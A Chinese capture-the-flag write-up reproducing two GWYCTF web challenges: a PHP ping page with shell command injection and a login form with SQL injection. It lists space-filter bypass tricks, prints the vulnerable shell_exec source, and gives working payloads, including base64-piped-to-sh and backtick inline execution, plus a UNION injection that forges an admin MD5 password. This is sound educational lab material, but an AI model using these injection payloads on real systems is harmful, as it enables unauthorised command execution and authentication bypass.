说来惭愧,之前12月份初报了GWYCTF,结果到了比赛的时候又因为复习忙的焦头烂额,所以一道题目都没看。刚好因为题目难度是针对校内招新的,我就现在复现下吧:
题目复现地址:https://buuoj.cn/
大佬们在各种比赛群里应该已经知道了这个平台的存在了,有一说一那位师傅是真的富……
还是要感谢buuoj.cn提供了一个复现这些年大赛题目的机会。
Ping Ping Ping
开始进入提示传参ip,原题应该是直接给了一个输入框,输入后发现有执行ping命令的效果
那么看来是命令执行的题目了,命令执行的方法大抵是加上管道符或者分号,那么试试管道符
尝试读flag发现果然被ban了,那么试试index.php发现提示空格被ban了。
绕过空格的方法大概有以下几种:
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09
不妨就用 $IFS
试试,无果,用${IFS}
发现{}被ban。再试$IFS$1
成功。
源码如下:
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
过滤了许多标点,空格,bash,包括flag的贪婪匹配。那么自己印象中几种做法:
1.cat fl* 利用*匹配任意 不行
2.echo "Y2F0IGZsYWcucGhw"| base64 -d | bash 也不行
3.ca\t fl\ag.php 不行
4.cat fl''ag.php 不行
那么如何解决呢?其实还有一种比较常见的做法没有提及,那就是变量拼接:
之前自己特别喜欢用的一句话木马拆开用也是这个道理。
正好,我们看到源码中有一个$a变量可以覆盖,那么payload就出来了:
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
然后有官方与其他大佬的高端解法:
官方:
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
过滤bash?那就用sh。sh的大部分脚本都可以在bash下运行。
dalao
内联执行的做法,只能说V&N的师傅们太强了。
http://530bbcaf-9d64-494e-8993-bb3727c31a5a.node3.buuoj.cn/?ip=127.0.0.1;cat$IFS$9`ls`
内联,就是将反引号内命令的输出作为输入执行。
秒题大概就是这种做法吧……
BabySqli
进去后一个账号,密码输入框。先随便输下,提示wrong pass。但是看源码有意外收获
从形式上看数字成分都没有超过6,可能是base32,解码后得到一个base64编码,解码后得到以下:
select * from user where username = '$name'
那么就可以在username这个注入点下手处理了。这道题目只过滤了基本的and与等号还是很能操作的。不过后来看别人说这题考点在MD5查询绕过。这么说的原因是,就算成功注入把admin密码的MD5拿到,因为解不了的缘故等于没用。基于题目提示的wrong pass,那么大概率是直接拿输入密码的MD5数值跟数据库里已知值比较。
稍微FUZZ一下admin' union select 1,2,3
可以确认有三个字段
后面确认大概是id,admin,passwd三个字段。这里为了绕过,需要保证我们的查询结构一致,就可直接select 想要的返回值。
那么构造一个为假的查询-1,后面接上联合查询:
-1' union select 1,'admin','7363a0d0604902af7b70b271a0b96480'#
密码输123即可